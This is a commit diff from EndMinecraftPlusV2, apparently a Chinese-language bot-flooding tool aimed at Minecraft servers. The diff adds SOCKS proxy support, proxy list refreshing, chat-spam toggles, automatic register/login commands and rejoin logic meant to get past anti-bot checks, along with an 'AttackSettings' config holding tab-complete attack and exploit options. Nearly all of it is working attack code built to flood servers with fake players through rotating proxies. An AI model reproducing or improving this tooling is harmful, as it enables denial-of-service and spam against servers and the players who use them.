修复了一些Bug 添加Socks代理支持

This commit is contained in:
SerendipityR 2022-08-18 00:37:35 +08:00 committed by GitHub
parent b1e671f9f2
commit d909779870
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
5 changed files with 131 additions and 43 deletions

View File

@ -63,8 +63,8 @@ public class BotAttack extends IAttack {
this.modList = modList; this.modList = modList;
} }
public String getRandMessage() { public String getRandMessage(String userName) {
return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6)); return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName)));
} }
public void start() { public void start() {
@ -73,11 +73,16 @@ public class BotAttack extends IAttack {
for (Client c : clients) { for (Client c : clients) {
if (c.getSession().isConnected()) { if (c.getSession().isConnected()) {
if (c.getSession().hasFlag("login")) { if (c.getSession().hasFlag("login")) {
c.getSession().send(new ClientChatPacket(getRandMessage())); if (ConfigUtil.ChatSpam) {
c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c))));
}
OtherUtils.doSleep(ConfigUtil.ChatDelay);
} else if (c.getSession().hasFlag("join")) { } else if (c.getSession().hasFlag("join")) {
if (ConfigUtil.RegisterAndLogin) { if (ConfigUtil.RegisterAndLogin) {
for (String cmd:ConfigUtil.RegisterCommands) { for (String cmd:ConfigUtil.RegisterCommands) {
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
OtherUtils.doSleep(ConfigUtil.ChatDelay);
} }
} }
@ -115,11 +120,14 @@ public class BotAttack extends IAttack {
if (this.attack_tab) { if (this.attack_tab) {
tabThread = new Thread(() -> { tabThread = new Thread(() -> {
while (true) { while (true) {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
for (Client c : clients) { for (Client c : clients) {
if (c.getSession().isConnected() && c.getSession().hasFlag("join")) { if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
MultiVersionPacket.sendTabPacket(c.getSession(), "/"); MultiVersionPacket.sendTabPacket(c.getSession(), "/");
} }
} }
OtherUtils.doSleep(10); OtherUtils.doSleep(10);
} }
}); });
@ -153,11 +161,23 @@ public class BotAttack extends IAttack {
for (String p: ProxyUtil.proxies) { for (String p: ProxyUtil.proxies) {
try { try {
String[] _p = p.split(":"); String[] _p = p.split(":");
Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
Proxy.Type proxyType;
switch (ConfigUtil.ProxyType) {
case 2:
proxyType = Proxy.Type.SOCKS;
break;
case 1:
default:
proxyType = Proxy.Type.HTTP;
break;
}
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
String[] User = AttackManager.getRandomUser().split("@"); String[] User = AttackManager.getRandomUser().split("@");
Client client = createClient(ip, port, User[0], proxy); Client client = createClient(ip, port, User[0], proxy);
client.getSession().setReadTimeout(10 * 1000); client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
client.getSession().setWriteTimeout(10 * 1000); client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
clientName.put(client, User[0]); clientName.put(client, User[0]);
clients.add(client); clients.add(client);
@ -208,32 +228,34 @@ public class BotAttack extends IAttack {
for (String rejoinDetect:ConfigUtil.RejoinDetect) { for (String rejoinDetect:ConfigUtil.RejoinDetect) {
if (msg.contains(rejoinDetect)) { if (msg.contains(rejoinDetect)) {
for (int i = 0; i < ConfigUtil.RejoinCount; i++) { for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
rejoin++; rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
rejoin++;
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
clientName.put(rejoinClient, username);
clients.add(rejoinClient);
rejoinClient.getSession().connect(false);
OtherUtils.doSleep(ConfigUtil.RejoinDelay); OtherUtils.doSleep(ConfigUtil.RejoinDelay);
boolean canBreak = false; if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
for (Client client:clientName.keySet()) {
if (clientName.get(client).contains(username)) {
canBreak = true;
}
}
if (canBreak) {
break; break;
} }
} }
} }
} }
} else if (ConfigUtil.ShowFails) {
msg = e.getCause().getMessage();
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
} }
failed++; failed++;
alivePlayers.remove(username); alivePlayers.remove(username);
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
client.getSession().disconnect("");
clients.remove(client);
} }
}); });
return client; return client;
@ -294,10 +316,13 @@ public class BotAttack extends IAttack {
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1); MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1);
} else if (recvPacket instanceof ServerPlayerPositionRotationPacket) { } else if (recvPacket instanceof ServerPlayerPositionRotationPacket) {
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; try {
MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw()); ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
session.send(new ClientPlayerMovementPacket(true)); MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet); session.send(new ClientPlayerMovementPacket(true));
MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet);
} catch (Exception ignored) {}
} else if (recvPacket instanceof ServerChatPacket) { } else if (recvPacket instanceof ServerChatPacket) {
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket; ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
clickVerifiesHandle(chatPacket.getMessage(), session, username); clickVerifiesHandle(chatPacket.getMessage(), session, username);

View File

@ -8,7 +8,7 @@ import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
public class EndMinecraftPlusV2 { public class EndMinecraftPlusV2 {
public static String ver = "1.0_Dev"; public static String ver = "1.0.2_Dev";
public static void main(String[] args) { public static void main(String[] args) {
System.out.println("========================-Forked by SerendipityR-========================"); System.out.println("========================-Forked by SerendipityR-========================");

View File

@ -22,6 +22,7 @@ public class ConfigUtil {
public static Boolean TabAttack; public static Boolean TabAttack;
public static Boolean AntiAttackMode; public static Boolean AntiAttackMode;
public static String DoubleExploitPlayer; public static String DoubleExploitPlayer;
public static Boolean ShowFails;
public static String BotName; public static String BotName;
public static Integer BotCount; public static Integer BotCount;
public static Boolean RegisterAndLogin; public static Boolean RegisterAndLogin;
@ -31,8 +32,10 @@ public class ConfigUtil {
public static Long RejoinDelay; public static Long RejoinDelay;
public static List<String> ClickVerifiesDetect; public static List<String> ClickVerifiesDetect;
public static List<String> CustomChat; public static List<String> CustomChat;
public static Integer ChatDelay; public static Boolean ChatSpam;
public static Long ChatDelay;
public static Integer ProxyGetType; public static Integer ProxyGetType;
public static Integer ProxyType;
public static Integer ProxyUpdateTime; public static Integer ProxyUpdateTime;
public static File ProxyFile; public static File ProxyFile;
public static List<String> ProxyAPIs; public static List<String> ProxyAPIs;
@ -57,6 +60,7 @@ public class ConfigUtil {
TabAttack = config.getBoolean("AttackSettings.TabAttack"); TabAttack = config.getBoolean("AttackSettings.TabAttack");
AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode"); AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode");
DoubleExploitPlayer = config.getString("AttackSettings.DoubleExploitPlayer"); DoubleExploitPlayer = config.getString("AttackSettings.DoubleExploitPlayer");
ShowFails = config.getBoolean("AttackSettings.ShowFails");
BotName = config.getString("BotSettings.BotName"); BotName = config.getString("BotSettings.BotName");
BotCount = config.getInt("BotSettings.BotCount"); BotCount = config.getInt("BotSettings.BotCount");
RegisterAndLogin = config.getBoolean("BotSettings.Register&Login"); RegisterAndLogin = config.getBoolean("BotSettings.Register&Login");
@ -65,9 +69,11 @@ public class ConfigUtil {
RejoinDetect = config.getStringList("BotSettings.RejoinDetect"); RejoinDetect = config.getStringList("BotSettings.RejoinDetect");
RejoinDelay = config.getLong("BotSettings.RejoinDelay"); RejoinDelay = config.getLong("BotSettings.RejoinDelay");
ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect"); ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect");
ChatSpam = config.getBoolean("BotSettings.ChatSpam");
CustomChat = config.getStringList("BotSettings.CustomChat"); CustomChat = config.getStringList("BotSettings.CustomChat");
ChatDelay = config.getInt("BotSettings.ChatDelay"); ChatDelay = config.getLong("BotSettings.ChatDelay");
ProxyGetType = config.getInt("Proxy.GetType"); ProxyGetType = config.getInt("Proxy.GetType");
ProxyType = config.getInt("Proxy.ProxyType");
ProxyUpdateTime = config.getInt("Proxy.UpdateTime"); ProxyUpdateTime = config.getInt("Proxy.UpdateTime");
ProxyFile = new File(config.getString("Proxy.File")); ProxyFile = new File(config.getString("Proxy.File"));
ProxyAPIs = config.getStringList("Proxy.APIs"); ProxyAPIs = config.getStringList("Proxy.APIs");

View File

@ -8,7 +8,7 @@ import java.util.List;
import java.util.regex.Matcher; import java.util.regex.Matcher;
public class ProxyUtil { public class ProxyUtil {
public static final List<String> proxies = new ArrayList<>(); public static List<String> proxies = new ArrayList<>();
public static void getProxies() { public static void getProxies() {
String getMethod; String getMethod;
@ -16,36 +16,59 @@ public class ProxyUtil {
switch (ConfigUtil.ProxyGetType) { switch (ConfigUtil.ProxyGetType) {
case 2: case 2:
getMethod = "通过本地文件获取"; getMethod = "通过本地文件获取";
getProxiesFromFile(); getProxiesFromFile(false, true);
break; break;
case 3: case 3:
getMethod = "通过API+本地文件获取"; getMethod = "通过API+本地文件获取";
getProxiesFromFile(); getProxiesFromFile(false, true);
getProxiesFromAPIs(); getProxiesFromAPIs(false, false);
break; break;
case 1: case 1:
default: default:
getMethod = "通过API获取"; getMethod = "通过API获取";
getProxiesFromAPIs(); getProxiesFromAPIs(false, true);
} }
LogUtil.doLog(0, "获取代理完成! (" + getMethod + " | 数量: " + proxies.size() + "个)", "ProxyUtil"); LogUtil.doLog(0, "获取代理完成! (" + getMethod + " | 数量: " + proxies.size() + "个)", "ProxyUtil");
LogUtil.emptyLog(); LogUtil.emptyLog();
} }
public static void getProxiesFromAPIs() { public static void getProxiesFromAPIs(boolean async, boolean replace) {
for (String url:ConfigUtil.ProxyAPIs) { if (async) {
String ips = HTTPUtil.sendGet(url); List<String> newProxies = proxies;
Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}"); if (replace) {
while (matcher.find()) { newProxies = new ArrayList<>();
String ip = matcher.group(); }
proxies.add(ip);
for (String url:ConfigUtil.ProxyAPIs) {
String ips = HTTPUtil.sendGet(url);
Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
while (matcher.find()) {
String ip = matcher.group();
newProxies.add(ip);
}
}
proxies = newProxies;
} else {
for (String url:ConfigUtil.ProxyAPIs) {
if (replace) {
proxies = new ArrayList<>();
}
String ips = HTTPUtil.sendGet(url);
Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
while (matcher.find()) {
String ip = matcher.group();
proxies.add(ip);
}
} }
} }
} }
public static void getProxiesFromFile() {
public static void getProxiesFromFile(boolean async, boolean replace) {
try { try {
if (!ConfigUtil.ProxyFile.exists()) { if (!ConfigUtil.ProxyFile.exists()) {
LogUtil.doLog(1, "无法从文件读取代理! 文件不存在。", null); LogUtil.doLog(1, "无法从文件读取代理! 文件不存在。", null);
@ -54,8 +77,27 @@ public class ProxyUtil {
BufferedReader reader = new BufferedReader(new FileReader(ConfigUtil.ProxyFile)); BufferedReader reader = new BufferedReader(new FileReader(ConfigUtil.ProxyFile));
String tempString; String tempString;
while ((tempString = reader.readLine()) != null) {
proxies.add(tempString); if (async) {
List<String> newProxies = proxies;
if (replace) {
newProxies = new ArrayList<>();
}
while ((tempString = reader.readLine()) != null) {
newProxies.add(tempString);
}
proxies = newProxies;
} else {
if (replace) {
proxies = new ArrayList<>();
}
while ((tempString = reader.readLine()) != null) {
proxies.add(tempString);
}
} }
reader.close(); reader.close();
@ -68,9 +110,18 @@ public class ProxyUtil {
new Thread(() -> { new Thread(() -> {
while (true) { while (true) {
OtherUtils.doSleep(time * 1000L); OtherUtils.doSleep(time * 1000L);
synchronized (proxies) {
getProxiesFromAPIs(); switch (ConfigUtil.ProxyGetType) {
case 1:
getProxiesFromAPIs(true, true);
break;
case 3:
getProxiesFromFile(true, true);
getProxiesFromAPIs(true, false);
break;
} }
LogUtil.doLog(0, "代理更新完毕! (通过API获取 | 数量: " + proxies.size() + "个)", "ProxyUtil");
} }
}).start(); }).start();
} }

View File

@ -21,6 +21,7 @@ AttackSettings:
TabAttack: true TabAttack: true
AntiAttackMode: true AntiAttackMode: true
DoubleExploitPlayer: "ImOldSix_666" DoubleExploitPlayer: "ImOldSix_666"
ShowFails: false
BotSettings: BotSettings:
# 可用占位符: # 可用占位符:
@ -38,13 +39,14 @@ BotSettings:
RegisterCommands: RegisterCommands:
- "/register $pwd $pwd" - "/register $pwd $pwd"
- "/login $pwd" - "/login $pwd"
ChatSpam: true
CustomChat: CustomChat:
- "喵喵喵萌喵~ $rnd" - "喵喵喵萌喵~ $rnd"
- "喵喵喵萌~ $rnd" - "喵喵喵萌~ $rnd"
- "喵喵喵~ $rnd" - "喵喵喵~ $rnd"
- "喵喵~ $rnd" - "喵喵~ $rnd"
- "喵~ $rnd" - "喵~ $rnd"
ChatDelay: 3 ChatDelay: 3000
Proxy: Proxy:
# 代理获取方式: # 代理获取方式:
@ -52,6 +54,10 @@ Proxy:
# 2 - File - 从本地读取 # 2 - File - 从本地读取
# 3 - File + API - 两种方式同时获取 # 3 - File + API - 两种方式同时获取
GetType: 1 GetType: 1
# 代理类型:
# 1 - HTTP/HTTPS
# 2 - SOCKS4/SOCKS5
ProxyType: 1
UpdateTime: 300 UpdateTime: 300
File: "proxies.txt" File: "proxies.txt"
APIs: APIs: